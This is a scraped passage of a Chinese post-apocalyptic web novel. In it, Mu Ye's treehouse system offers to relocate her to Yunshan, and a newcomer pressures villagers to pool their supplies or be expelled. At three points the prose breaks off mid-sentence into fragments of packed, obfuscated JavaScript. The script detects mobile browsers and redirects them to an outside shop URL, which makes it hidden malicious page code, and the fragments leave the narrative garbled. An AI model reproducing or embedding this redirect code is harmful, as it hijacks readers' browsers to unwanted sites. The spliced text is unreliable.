周家蓉五人站在超市里，探头看着门外。 穆叶把车停在超市门前，他们马上冲过来，开门上车。 “呼，还是车里暖和。” “穆叶你去哪了，一转头就找不到你人了，我们还担心你自己走了呢！” 穆叶：“附近有个农场，我去问了问有没有食物卖，但他们也跟工作组合作了。对了，吴家村的事最后怎么样？” 周逸东“嘿”了一声，“那个小队长和另外一个，两人带着物资去吴家村了，说是去当面确认到底有多少急需救助的村民，再按份量把物资给他们。” 穆叶：“别人没意见？” “有……肯定是有的吧，”周逸东抓抓头，“但还能说啥，这会儿也只能相信官方是公平公正的了。” 穆叶从后视镜里看着变小的超市，心里有些担忧。 这种公平公正能持续多久呢？ 不患寡而患不均，且不说罐头和罐头之间，肉质不同，净含量也不同，就是同样重量的罐头和冻猪肉，猪肉的肥肉部分还能炼猪油呢，这些差别大家都看在眼里。 而且限购规定也存在漏洞，有车的人，能开车把每个超市的限购都薅一遍，现金充足的人，能把高价但不限购的食物都买回去，要怎么约束这种囤积行为？ 再一个，庆阳的村庄不知有多少，这次是吴家庄，下次就是李家庄、王家村，都来求救求分物资，给还是不给？每次都得像今天这样去确认吗？ 所以别说绝对的公平，相对的公平都很难实现。 继续这样下去，秩序崩塌是早晚的事。 - 回到村里已经是四点出头了。 穆叶把周家蓉兄妹俩放在家门口，带着周颖心、周逸东和陶诗琦继续往里走。 路过王世柯家门前时，刚好碰上他和两个面生的男人，一起搬来被褥装车。 周逸东降下车窗，喊道：“哥，你干啥呢？” 王世柯看见是他们，把被褥放进车后备箱里，拍拍手走过来。 “你们回来啦，怎么样？” 周逸东：“还行，我们去了城东的优宁超市，货挺多的，现在有当兵的守着，也没人惹事。你在干啥，那俩人是谁啊？” 王世柯回头看了看破损的房屋，“他们是我两个叔父，我们家可能要搬走了。” 所有人都感到惊讶，虽说他家三楼塌了，但余下两层也足够住了，怎么突然要搬走？ “为什么啊？” 王世柯说今早收拾好房子，午后，他二叔和三叔就来了。 “二叔说现在情况复杂，二姨担心我们两家，觉得大家住一起能有个照应。她家在城西，是栋三层楼的别墅，不远就有官方指定营业的超市，确实比我们这条件好多了，三姨一家已经搬过去了，二叔三叔就来帮我们收拾行李。” 周颖心问：“是不是不回来了？” 王世柯点头：“至少等情况彻底稳定。” 他被家人喊回去帮忙了，穆叶接着往里开车，把车上的人送回各自家里。 周逸东叹了一句：“人一家抱团去了，真羡慕。” 周颖心也跟着感叹：“至少你们一家人还在一起，我老公……我都不知道他现在怎样。” 陶诗琦抿唇，安慰道：“咱们没那么多兄弟姐妹，但咱们有彼此啊，现在是该我们团结互助的时候了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348402|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穆叶一个左转，把车停在周逸东家门口。 “到了，下车。” - 天黑透了，周羽萍站在灶前做晚饭。 四眼灶最直观的好处就是，烧菜空间很宽裕。 周羽萍握着煎锅，加热冰冻的玉米饼，香甜的让人满足的玉米味，和面饼被煎熟的香气飘在空气中。 斜对角的灶眼上，煮着一锅番茄杂菜排骨汤，汤底是透橙色的，排骨煮出来的油脂飘在汤面上，去皮的番茄煮得化在了汤里。 此外还加入了玉米、胡萝卜、包菜，还有盘切好的土豆没放进去。 开小火盖盖儿，任由玉米饼慢慢加热，周羽萍把地上散落的冰冻胡萝卜装进透气的麻布袋里，准备一会儿送到树屋外。 虽说气温降到零下十多度，让生存变得困难，但也有一点好处，可以延长食物保质期。 树屋里成天开着取暖器，一楼的室温大概稳定在3度左右。 白菜、菠菜、西葫芦一类的蔬菜，经过解冻会变得软烂没法吃，必须放在室内，而洋葱、萝卜、玉米这些，则更适合放在外面。 周羽萍把胡萝卜袋子提到门边放好，折回去没注意，一脚踹在摊开的行李箱上。 树屋里的物资大多没整理，还随意地到处放着，但行李箱早就收拾好了，里面装满了要带去云山的东西。 她已经做好了随时出发的准备。 她看向餐桌边的穆叶，从回来到现在，她一直坐在桌边，对着平板上的地图写写画画。 周羽萍没去打扰，她知道穆叶在做什么。 经过这两天，她也想明白了。 虽然意外的陨石灾难让她十分担心女儿女婿，总忍不住幻想最坏的结果。 但只要不在陨石落点附近，人有很大概率可以活下来的，她们只有去到云山，才能知道女儿女婿怎么样。 穆叶从昨天开始就食欲不佳，情绪不高，睡得也少，外出回来就一屁股坐在电脑面前研究地图。 她不懂也帮不上忙，问来问去也是添乱，唯一能做的就是做好生活保障，支持穆叶的决定。 饭熟了，周羽萍把玉米饼、排骨杂菜汤端上桌，把穆叶的碗放在她面前。 穆叶看了一眼没说话，路线规划还剩最后一点就完成了。 周羽萍没说什么，自己先把饭吃了。 不久后，穆叶终于放下了笔。 “奶奶，我先说结论吧，”她拿起微热的玉米饼，撕了一块塞进嘴里，“云山可以去，但这一路会很艰难。” 她挪了挪平板想端过来，周羽萍看见，先一步起身换到她旁边坐下。 穆叶把平板放在她面前，上面是早就下载好的，从庆阳到云山的沿路城市离线地图。 她用笔点了下地图上隔壁县的位置，“现在往东上高速是行不通了，所以必须往南边或北边绕路，但这就是这一趟最大的麻烦，绕路。” “我下载的离线地图原本是可以导航的，但因为陨石……或者别的原因，定位功能失灵了，所以它现在只能给我们看看路线方位。” “我们不清楚陨石落点位置，每个城市的道路也在这场灾难中严重改变了，走错路或者走上断头路折返是避免不了的，我们会有大量时间花在绕路上。” “问题也不只这些，从这开到云山，我不知道需要多久。酒店，恐怕没得住了，但气温还在下降，我很难想象在零下20度，没有电，要怎么熬过晚上……” 周羽萍听得沉默了。 按穆叶说的，她俩去云山不就是送死吗？ 穆叶握紧了拳头：“我说这话的意思是，奶奶，你要做好准备。” 准备什么？ 无非是抵达不了云山，永远留在半路上，或是冒着生命危险，最后却落得一场空。 周羽萍：“那我们还回不回来，这树屋怎么办？” 穆叶环视树屋里每一件她亲自采购的物品：“我们不会回来了，树屋就由它留在这吧。” 【？】 【宿主。】 周羽萍听完，吸了口气，很久才呼出来。 “小叶子，活到现在，我就只剩你妈和你，你爸算半个吧，就只有你们两个半亲人了。我年纪大了，比起偷偷留在这，能过上吃饱穿暖的日子，我还是想和亲人们在一起，哪怕生活差一点，不，就是差很多也无所谓。” 她看着穆叶，眼框里蓄起泪水：“但是你还那么年轻，去云山……我不能因为自私害了你啊！” “这次，奶奶把决定权交给你，无论你怎么选择。” “别说了，奶奶！” 穆叶一把抱住周羽萍，滚烫的泪珠掉在她背上，顺着衣服滚落，羽绒服外壳上留下淡淡的湿痕。 【宿主。】 她感受到奶奶的身体在轻微地颤抖，“这几天，每当周围安静下来，我就会想起爸妈，看见别人一家人在一块儿，我真的很羡慕，她们本来也该在这的。如果没有你们，系统……我不知道要它还有什么用，所以是我要去云山。” 【宿主。】 穆叶放开奶奶，擦了擦眼泪，瞪着虚空里的某个点，大声问：“你究竟要说什么？！” “嗯？” 周羽萍泪水糊满了眼周，吸着鼻子问：“你在和谁说话？” 【其实系统有办法送你到想去的地方。】 26. 第 25 章 穆叶的神情变得有些古怪，她犹豫地说：“奶奶，我一直没告诉你，这系统其实是智能的。它刚刚和我说，有办法让我们去云山。” 随着穆叶介绍，餐桌另一角的终端上出现了一个微笑的表情，对周羽萍打招呼。 周羽萍没看见，只是急切地追问：“它怎么说的？” 穆叶安抚她：“别急奶奶，等我问问。” 穆叶在心里和米克对话：“什么方法，你最好别骗我！” 眼前虚拟面板的邮箱图标亮了亮，上面有个未读的红点，穆叶有印象，这个红点昨天就有了。 点进去，有两条未读信息。 第一条是道具发放，穆叶点开后，发现这是一个叫【迁移】的道具。 道具的功能说明是：可将树屋及内部物品，完整转移到另一颗树上，使用时，必须在目的地纸质地图上确定具体转移位置。该功能30天刷新一次，使用后会重新计时30天，无法累积。 “这个功能，可以把我们从庆阳的这棵红杉树上，转移到任意城市的一颗树上，是吗？也包括云山？” 【当然包括云山。】 穆叶的心脏急促地跳了一下：“这……这是什么原理？” 【树屋本来就是更高维的空间，只有投身在树上，与蓝星这个低维空间存在折叠点才能使用，至于迁移嘛……反正你知道整个星球是一个生态圈，相互都是有联系的就够了。】 “所以我们留在树屋里，不需要做什么，就能到云山了？” 【是的。】 穆叶脸上终于露出喜色，她拉起一脸懵的周羽萍，高兴地说：“系统有个道具，可以把我们传送到想去的地方。奶奶，我们可以去云山了！” 周羽萍捂着胸口，情绪十分激动：“好好好，太好了，那我们马上就能见到你妈妈她们了。” 穆叶的笑容根本收不住。 她对米克说：“你终于靠谱了一次，但这么重要的事，你怎么不早说？” 米克委屈：【宿主根本没给我说话的机会。我早说了，宿主你应该放下偏见，对我多点耐心的。】 穆叶难得没反驳，她问：“那我们是不是随时可以走，现在行吗？” 【……宿主你最好先把剩下的邮件看完。】 不急不急。 穆叶压下激动的心情，点开第二封邮件。 【本月账单：本月消耗198文明点，现已扣除，剩余文明点：4873。】 …… “你重新说一遍，现在是怎么回事？” 【已经说两遍了……好吧，宿主使用树屋产生了账单，支付账单后剩余的4873文明点，无法让树屋升至二级，这将会导致在迁移时，无法带登记者周羽萍一起离开。】 穆叶没想到还有这一出。 确实，从停止采购后，系统的奖励提示就再也没出现过了，白天买东西也没解锁新的成就，这次是她准备不充分。 但是最离谱的，难道不是这个天价账单嘛！ “等等，你先告诉我账单是怎么来的，这么贵！你是黑心房东系统吧！” 【系统收费合情合理，宿主也不想想自己往树屋里放了多少电器，觉得贵，是因为你太穷。】 穆叶：“……”无法反驳。 米克卖弄起来了：【我倒是知道赚文明点的方法……】 穆叶看不惯它这幅嘴脸，但又对赚钱很感兴趣：“那你说说？” 【听好了。第一，系统每个月都会赠送30个苹果，一个苹果可兑换10文明点，兑换比例会随着树屋升级而增加——】 “——我还剩28个苹果在冰箱里，现在就帮我兑换280点吧。” 【你又急，我没说完呢，兑换从次月开始。】 穆叶泄气了：“第二呢？” 【请宿主打开终端上的“树形图”功能。】 穆叶照做，这是末世以来，她第一次了解终端新解锁的功能。 映入眼帘的是一棵树，树干上分出四个树枝，树枝上又继续分出了无数小岔。 右上角有一个转换按钮，转换后，树形图消失，变成类似游戏图鉴一样的东西，有各种图案，其中一些点已经被点亮了。 穆叶随便点开一个麦穗图案，这个是——四大主粮（已达成），奖励50点。 “这些都是我达成的收集成就？” 【是的。】 【系统的目的是拯救蓝星文明，所以将会对蓝星文明进行全方位的记录。】 【这是“物种图鉴”，会记录宿主收入空间的物种信息，满足条件后，每点亮一个图标，会获得20—200不等的文明点奖励。】 穆叶回想购买物资那段时间，解锁的奖励确实在20—200的区间里。 可如果靠收集物种攒文明点升级树屋，那也太艰难了！ 【切换过去是“文明树”，树干上的四大树枝分别代表物质、科技、社会和精神文明的发展路径。往上的每个小分岔就是一个节点，需要收集相应的文明成果点亮，宿主会获得很可观的奖励】 【使用视野面板里的“扫描”功能，就能完成收集。注意！节点必须按发展顺序点亮。】 “发展顺序，是类似从基础发展到高级那样？” 【是的。】 穆叶有点想不明白，“可是在蓝星文明里，有很多时期相近、作用相同的文明成果，哪个在前我怎么能知道。” 【不必严格按照时间线，文明树的机制是……总之，只要已经点亮的节点，能够发展出正在收集的成果，系统就会判定点亮成功。】 “原来是这样。” 灵光一闪，穆叶想起了【鉴定】里的文明值，“那我是不是能通过文明值的高低，来决定收集的顺序？” 【宿主可以试试。】 穆叶点头。 【第三个方法，种地。】 【农耕是人类文明的基石，一块良田每收获一次，就能获得50文明点，系统礼包只送了10块良田，商城里可以买到更多。】 穆叶起身，走向角落里那片茂盛的绿叶菜。 在她和奶奶的努力下，最终成活了5块小白菜田和1块生菜田，其他4块清理干净暂时空着。 翠绿的蔬菜长得满满当当，产量出人意料地多，就是一家四口，也能吃上好几天。 她抚摸着肉感十足的菜叶，第一次感受到一颗种子，一株果实这种确定的喜悦。 每棵菜头顶上出现了一个将满的绿圈，旁边写着“未成熟”。 但估计这一两天就能采摘了。 “收获一次得50点，听上去划算，但是这生长周期也太长了。” 【良田同样可以升级，但需要宿主手动选择，一级升二级需要300文明点，升级后，对作物的加速效果会明显增加。】 “每块田都要300点，10块田不就是3000点，买更多良田那不就是无底洞！” 穆叶疯狂摇头。 点亮文明树和物种图鉴，都是前期容易后期难，好不容易点亮拿点奖励，转头升级良田就花没了。 主打一个自生自灭是吧…… 【防止你明天又骂我，我先提醒，良田里有作物是不能移动的，迁移也必须遵守这条规则，除非你放弃正在生长的作物。】 “我最后问一个问题，为什么迁移一定要纸质地图，我平板里下载的地图不能用吗？” 【不一样，纸质地图承载着真实的空间信息，迁移就是建立在读取空间信息之上的，而平板里的地图只是一团数据。】 “这样啊……” 那就不用放弃马上成熟的蔬菜了，穆叶得出结论。 现在知道了赚取文明点的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360592|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法，升级需要的一百多点马上就能赚到。 但是获取云山的纸质地图……她一时还想不到要去哪里找，反正需要一些时间，完全可以等到蔬菜成熟。 总之，明天开始，她要做的就是收集物种攒点数、把树屋升到二级，去找云山市纸质地图、同时等待收获新鲜蔬菜，最后再离开。 “真不简单！”穆叶感叹了一声。 不过她今晚应该能睡个好觉了。 - 末世第三天，气温-18度，天空飘起小雪。 这些雪有黄灰色的，有白的。 穆叶完全相信这是爆炸引起的尘土，随着雪一起落了下来。 这会儿，她正爬上爬下，在家里收集物种拿奖励。 实际操作起来，才发现点亮物种图鉴没有想象的那么简单。 举个例子，她正准备点亮一个叫做“三大薯类”的图标，收集了土豆和红薯后，进度条达到了66%。 但最后缺少的那种只显示未知，直到把厨房里的木薯淀粉收入空间，收集才算完成。 所以并不是随便收集就能点亮图标，大部分情况，是把很多个图标需要的都收集了一点。 这只能靠数量取胜了。 屋外，小路里开进几辆车，车里坐的人很眼生。 穆叶站在窗户边，看着这些车驶入了不同的院子里，似乎是来投奔亲戚的。 跟在最后的是辆面包车。 那车一直往里开，停在一个三岔路口处。 一个从头到脚裹得严实的人跳下车来，把后备箱打开，露出里面一车的冰冻纯净水。 那人拿出大喇叭喊：“卖水了卖水了，500块一桶，带现金来。” 不多时，许多人就拿着钱来排队买水了。 一些现金不够的，提了袋大米来以物易物，那人想想，也还是卖了。 两天过去，几乎所有人都意识到了用水问题。 在村里，一些人会在院子修蓄水池，现在他们的用水暂时不用愁，而那些没有蓄水池的人，只能把目光放在公共空间的水源上。 穆叶赶到村里那口四方井时，村长周宏已经带着几个村民在敲冰了。 “主任，敲开了！” 随着一镐下去，冻得还不算太厚的冰层碎开，飘在水面上。 村长把揣在包里的手拿出来，挥了挥，“快点，提桶过来打，没储水的，每户都多打点放家里。” “先帮我家打两桶。” 五颜六色的桶放在井边，一个男人蹲着，用加长的水瓢舀水。 有些家有蓄水池的也跟了过来，看着井水源源不断，小声跟旁边人嘀咕：“这水能供几家人的，你说我要不要也来打点放着？” 旁边的人说：“肯定要啊，到时候你家蓄水池空了，500块一桶的水，你用得起几桶？” 那人点点头，“有道理，我回去拿桶。” 围观的人太多，穆叶就到后面巷子里收集了点花草树木，等回来时，第一波打水的人已经提着桶走了。 穆叶凑近看了几眼，都不用鉴定，就能知道这井水含辐射，毕竟陨石之前可是连续十多天的辐射雨啊。 但现在不用这个，还能用什么呢。 只能寄希望于平时扛住了手机、电脑等多重辐射的身体，也能扛住这水里的辐射。 她转头准备离开，村长看见，和她一道往回走。 周宏叫她：“穆叶呐，现在村里你的情况比较特殊，没有家人在身边。你也不要难过，有困难可以和村里说，大家左邻右舍，互相帮忙才能度过难关。” 穆叶点头，“我知道了，谢谢主任。” 两人继续走着，碰上许多去提第二趟水的人。 远处，一个男人跑了过来，一直冲到周宏面前：“主任，那、那边，咱们的村民和外村人吵起来了！” 27. 第 26 章 周宏一边问怎么回事，一边加紧脚步往前走。 来报信的男人叫周志合，也是村委会的。 他说有两辆车进了王世柯家院子，车上的人搬着行李箱，强行闯进了王世柯家里。 “你确定不是他家亲戚？” “反正不认识，大家都知道王老爷子只有一个儿子两个女儿。” “那快走吧。” 转过弯，王世柯家的房子出现在眼前。 院子里停着两辆车，一辆越野车，一辆轿车。 村民们堵在门口，个个脸色都不好，抬手指着他们嚷道：“你们都不认识主人，凭什么住他家里？” 他们里的一些人，甚至连打的水都没来得及放回家，就围聚在了这。 强占房子的那伙人像是没听见一样，两人搀扶着一个老人进了房子，其他人进进出出搬着行李。 村民们又重复了一遍，一个穿黑色长羽绒服的男人才慢悠悠转过来。 “那你们也说了，主人家不在！我们住不住这关你们什么事？有本事让主人来和我说。” “怎么不关他们的事，他们都是小尧村的村民。” 周宏从人后挤进去，村民看见他，纷纷喊着“村长”“主任”，让他来管管。 周宏抬手，周围人安静下来。 “你好，我叫周宏，是小尧村的村主任，叫我主任、村长都行。” “这栋房子是有主人的，他们只是暂时离开了，你们不能随意侵占他人的房屋。” 黑羽绒服男人说：“主任，我是李晓辉，这些是我家人。擅自闯进来是我们不对，但我们绝对没有侵占的意思。” “现在城里一片混乱，很多人出城、下乡，我们是第一批，后面还有人呐！” “我们是来避难的，只是借住，房子空着也是空着。要是担心我们损坏物品，我们可以把里面的东西搬进一个房间锁起来，把钥匙交给您拿着。” “都是庆阳人，何必互相为难？” 他言辞倒是恳切，周宏有点为难，没说话，但村民们却火了。 “什么意思呀！村里没那么多空房子，再来人，这是要住进我们家里来啊！” “让他们走，谁知道他们是什么人，咱们别自己把贼招进家来。” 李晓辉从口袋里掏出张工牌：“大家放心，我是祥宸商场的保安科科长，平时就是负责安保工作的。” “我能处理简单的房屋问题，家里还有个开汽修店的，乡亲们肯定有玻璃要换、有车要修吧，我们都能帮着解决。” 周宏默默看了眼工牌上的“保安队队长”。 李晓辉感觉到村民们有些动摇，继续加码。 “其实让我们加入小尧村还有好处。我听说工作组人手不足，现在优先去人多的地方安置受灾群众、发放食水，接纳了我们，咱们村人数不就有优势了吗！” “还是说，咱们村里大伙都不愁吃喝，不需要官方的救助？” 修房修车没那么大吸引力，但为了食水，大家彻底没了话说。 周宏作出决定，只要他们遵守秩序，和乡亲和睦相处，就同意他们留下。 至于王世柯，只有等他们下次回来再告知了。 李晓辉连声道谢，和刚开始完全两个样子。 灾害导致的人口转移正在悄悄发生。 一整天下来，庆阳城里离开了五分之一的幸存者，其中一些开车到临近的县投奔亲戚，但多数还是流入了城外各个村庄。 小尧村来了四个家庭，一共13个人。 村里没有太多空房，四家人只能用翻倍的现金或米面油，向村民租房合住。 穆叶也被敲门问过。 但她说自己只有一个人，实在不想和几个陌生人住同一屋檐下，逃难的人看她是女性，也只能放弃入住这栋两层小楼的想法。 确定好住所，新居民就开始搬入。 直到入夜，搬家和做饭的动静才消失，家家户户收拾好木柴的余烬。 穆叶早就完成物种收集，获得了超量的文明点，升级绰绰有余。 她装模作样在后院点了堆火，潮湿的木柴遇上火焰，立刻升起一团团黑烟。 拿着锅铲比划了两下，她掏出热好的玉米饼，坐远些吃完晚饭。 掐着时间，10点闹钟一响，穆叶把卧室蜡烛熄灭，返回树屋，营造出已经睡了的假象。 她选择在今晚把树屋升至二级。 米克告诉她，等明天醒来后，升级就能完成。 穆叶进入树屋的七、八分钟后，房子外面传来一阵铃声。 周志合拿着手摇铃，穿梭在黑夜飘雪的巷道里，从每户人家门前经过、敲门。 “开会了，开会了！各家各户，现在派个代表去大礼堂！” - 几十公里外，一处受损轻微的百货大楼。 灾后救援工作组把办公室，设置在百货大楼一楼的经理室内。 一个穿着制服的年轻男人推开办公室门，走到沙发边，喊醒坐在上面，仰头睡着的中年男人。 “唔，想着靠一下，怎么眯着了。”中年男人段峰揉着眼睛坐正，看着眼前人。 百货大楼有停电备用的发电机，他们征用后，已经拿来柴油开始发电了。 “部长，”年轻男人鞠了个躬，从腋下拿出几张纸质报告递给段峰，“这里是所有营业超市两日的物资销售情况，和周边水厂摸排情况。” 段峰把旁边的落地灯调亮一个度，举高报告仔细阅读，“嗯，两天时间，物资就少了那么多啊。” 部下点头：“是的。” “限购都在执行吧，怎么物价提高那么多，还能卖出这么些东西？” “限购在严格执行，但是据各小组观察，一些人手里持有大量现金，所以买起东西来毫无顾忌。” 段峰想了想：“那秩序怎么样，民众的情绪啊，有没有打架斗殴的？” 部下回答：“两天共18起打架事件，其中几起发生在营业的私人小店，均已对他们做出警告批评，总体情况还在控制中。” “反正注意方式方法，该强硬要强硬，该软和要软和。” 段峰站起来，走到挂着地图的白板前，指了指城外一处地点，“强制超市售卖物资，是为了稳住民众情绪，但限购并不是最合理的分配方式。” “你让李达他们提高效率，赶紧把油调配过来，说水厂发电机等不急了。另外，加紧评估房屋危险程度，两天内把全城可选的避难所点位，以及可容纳人数报过来。” “不搞快点，民众们就要等不急了。” - “噼……啪……” 木柴燃烧炸出火星，火光把周围一圈人的面庞照亮。 “嘎吱”一声，礼堂大门被推开，周志合带着四个人进来了。 周志合：“主任，能来的都来了。” 礼堂里燃着三个火堆，好几十个人分成三堆围着火坐。 周宏站起来看了看，“我看周玲家、赵子越家……还有好多人都没来呀，还有穆叶！” “都喊了，估计是睡了没听见。” “没电确实没办法，天黑了也只能睡觉，”周宏转着圈看了一眼，“就这样吧，这里七八十号人，来自七八十个家庭，做的决定也能代表全村了。” 最后进来的几个村民一脸迷茫。 今年60岁的杨荣威拽下头上的帽子抖雪，进了礼堂，那些碎雪点子马上融化了，现在整个帽子都湿淋淋的。 他拖来一把椅子倒放在最外面的火堆边，把帽子担在椅背上，自己对着火堆垮坐了下来。 “村长，大晚上突然开什么会呢，我人都躺在被窝里了。” 他边说，边抬头看了看。 礼堂左右两面墙的窗户玻璃碎了许多，有雪随着风飘进来，杨荣威抬起屁股，往火堆边挪了挪椅子，坐得更近了些。 所有人目光落在周宏脸色，他数次张口，最后对李晓辉说：“你的想法，你来说吧。” 李晓辉不推辞，从一旁椅子上站起来，冻开裂的胖手拍了两下掌，发出细细的声响。 “各位乡亲们，谢谢大家冒雪赶来开会。” 火光染红了他的脸，大家这会儿才瞧清楚他的模样：胖圆脸、单眼皮、酒糟鼻、野蛮生长的眉毛和青黑的胡茬。 李晓辉：“本来我一个刚入村的外人，说这些话不合适，但是为了大家能活下去，我不得不说。” “现在的情况，要活下去必须满足两个条件：不生病和能吃饱。不生病是解决了，咱们村里有两家小药房，药不用愁。” 开药房那两家人的代表听见，扭扭身子有些坐立难安，想说点什么。 李晓辉没留话口，继续说：“但是吃饱的问题……除了开超市的，我就问问谁家现在不是节衣缩食、精打细算？” 赵晓秀缩在火堆边，不敢抬头。 出事后，她立马去田里，把各家田地里的菜全部拔走了，现在冻在她家厨房里，她倒是不愁吃饭。 “你什么意思？”开超市那家的男人伸长脖子喊。 “别激动，”李晓辉笑笑，“大家都知道外边超市限购，但对于拿着很多现金的人来说，限购就是放屁，有钱就是能到处买，人家一天就买了2、30kg米，3、40个肉罐头，还有矿泉水、零食。这么些东西，够你家吃几天？你呢，够你家吃几天？” 被问的两个人，一个低头认真掰着手指算够吃几天，另一个定定地看着李晓辉，漆黑的眼睛里跳动着火光。 “羡慕吧？我也羡慕！但如果我说，咱们也能拥有大量食物，你们信不信？” “别废话了，你有什么主意就快说！”一个村民催促道。 李晓辉：“想做到其实很简单，咱们不是没钱啊，只是都拿在各家手里。只要我们把村里所有人的现金收拢，全部拿去买最便宜的限购物资，就能买到最多的食物。” 周宏掩唇咳嗽了一声，借机查看各村民的表情。 大多数人听见这种做法，一时还反应不过来，只有少数人眼睛亮了起来。 一人问：“那买回来的食物怎么分配？” 李晓辉摊手：“简单啊，按人头平均分不就行了，可以登记一下每家拿了多少钱，等灾难过去了，多退少补。” 这办法确实不错！ 提问的人盘算起来，如果任由持有大量现金的人买物资，恐怕不久后剩余的物资就不多了，物价也还要接着涨，到那会儿才是真正的钱如废纸。 周家楠也在思考。 这办法对大部分人来说是好处多，解决了现金不足，买不到多少食物的难题。 对现金充足但家里人不多的，也能让钱在这个物价下，发挥最大的购买力。 但是缺点也很明显。 开超市的男人先跳出来反对：“我家不参与，我们的钱留着有别的用处。” 村里出了名有钱的大户也不同意：“你这意思就是让我拿自己的钱养全村人呗，还按人头平分，我家就我和我老公两个，能分多少吃的？” 开药店的女人吞吞吐吐地说出自己的意见：“我家也算了吧，我家三口吃得不多，就是两三天买一次……也足够了。” 开玩笑，这么发展下去，食物可没药金贵。 她那一房子的药，还怕换不来吃的？她们没必要凑这个热闹。 其他反对的声音也出现了。 一个男人站起来指着李晓辉：“我看你是想空手套白狼吧！白天刚住下，立马去井那提走十几桶水，我都站在窗边看着呢，这会儿又要我们拿钱给你家买粮，按人头分配你家可不少人，你打的好算盘啊！” “空手套白狼？”李晓辉冷笑一声，“行，反正这村子我家住定了，既然互帮互助不愿意，我们就换个办法。” “拿物资买留在村里的资格。” “不管是钱、食物、还是药，通通交到村里来，大家一起使用。谁家交不出来的，直接卷铺盖滚蛋，别占用村里的资源，拖大伙儿后腿。” “这……” 屋里一张张脸紧绷起来，将近二十个人站起来反对，有男有女。 “是不是太过分了，外面天寒地冻，到处是危险，你让出村的人去哪？” “搞笑，我盖的房子，我住了几十年的村子，凭什么你让走我就走？” “你算老几，你说收物资就收物资，你看谁听你的？” “村长，你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377633|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同意这么做？你倒是说句话啊！” 周宏攥紧拳头。 今晚的会议是他召开的，他觉得那个集资买物资的提议不错，想到一村人老老少少的，多来点食物才能熬到救援工作组来啊。 哪知道到现在情况全变了。 他看向李晓辉：“这……这不合适吧……邻里乡亲的，这么做太绝了点。” “主任，其实我讲的只是大家碍于情面不好说出口的心里话，你们可以问问自己有没有这么想过。” 李晓辉扫视众人，“我带着一家老小，从城里来村里是为了活下去，如果不是抱团能过得更好，我理你们做什么？” 他掏出两叠绑好的现金摔在板凳上，是整整两万块。 “怎么，工作组管不过来，我想办法自救也有错？” 之前站起来反对的人有一大半都坐下了。 礼堂里气氛降至冰点，寒风呼呼刮进来，坐在柴堆边的人拿火钳往火堆添了点柴。 “咳咳，”周宏站起来，“既然大家都有自己的想法，不如我们还是投票决定吧？” 他让周志合去后面房间里拿来一叠信笺纸，撕成差不多大小的纸片发给所有人，又拿了盒笔分给村民们。 “画勾是同意，画叉是不同意，大家写好扔进投票箱里。” 李晓辉打了个勾，把纸一折扔进投票箱，把笔递给下一个人。 “村外什么情况？路断了、房子倒了、没水没电、天寒地冻、物资限购。要是有亲朋在更安全的地方，你带上物资，兴许人家能接纳你，但没去处的，离开了小尧村，真的能活下去吗？” 他像是自言自语，但有的村民听了，落笔的动作又变得犹豫。 开超市的男人捏着纸片，脸色铁青。 旁边的人给他递笔，他斜着觑了一眼，猛一拍大腿站起来。 “老子不玩了，和老婆女儿找个安全的地方，慢慢吃存粮等救援不香吗？我家明天就搬走。” 他大步迈着，推开礼堂大门走了，随后几个之前就不同意的村民，也站起来跟了出去。 周宏抬手想留，但李晓辉的话就在耳边，最后只能挣扎地放下手。 经过唱票统计，余下79人里，有53人都同意上交物资。 李晓辉看了眼周宏，往前迈一步： “那现在，先简单登记一下大家有什么物资吧。” …… 陶诗琦坐在角落里，浑身上下止不住地发抖。 她分不清是冷还是怕。 村长和那个外村男人，拿着登记本顺着问每家能拿出什么物资。 三万块、两箱泡面、半箱八宝粥、两大袋面粉…… 不问不知道，原来大家都留了不少食物。 可她家能交什么？ 半桶食用油、半箱大米、两把面条，几颗冻硬的萝卜白菜吗？ 药是肯定不能交的，那是爷爷长期吃的药，穆叶给她的药倒是还剩几粒，可数量实在太少了，还有钱，昨天买完东西，剩了600元现金…… “诶，妹妹，你家几个人，多大年纪，有什么能交？”李晓辉的声音在头顶响起。 其他村民围到陶诗琦身边，看见她打了个颤，抬起头来。 周宏的语气温和些：“诗琦，你家就是你和爷爷没错吧？物资有多少，我给你登记上。” 陶诗琦双眼闪了闪，抬手从周宏那拿来登记本，她要自己写。 李晓辉往侧边站，给她让出光来，他歪头看着她用冻僵的手在纸上写下的东西。 “500元、半桶食用油、半箱米……” 他念着念着，声音逐渐变小了，等陶诗琦写完后，他拎起本子，为难地“啧”了声。 “妹妹，这怕是不行吧，”他把本子递给周宏，继续说，“这么点东西，要说只有你一个人，我也不说什么了，但你还带着个老人。” 他不说话了。 陶诗琪熟悉这个感觉，刚刚他也是这么“劝退”其他拿不出物资的人的。 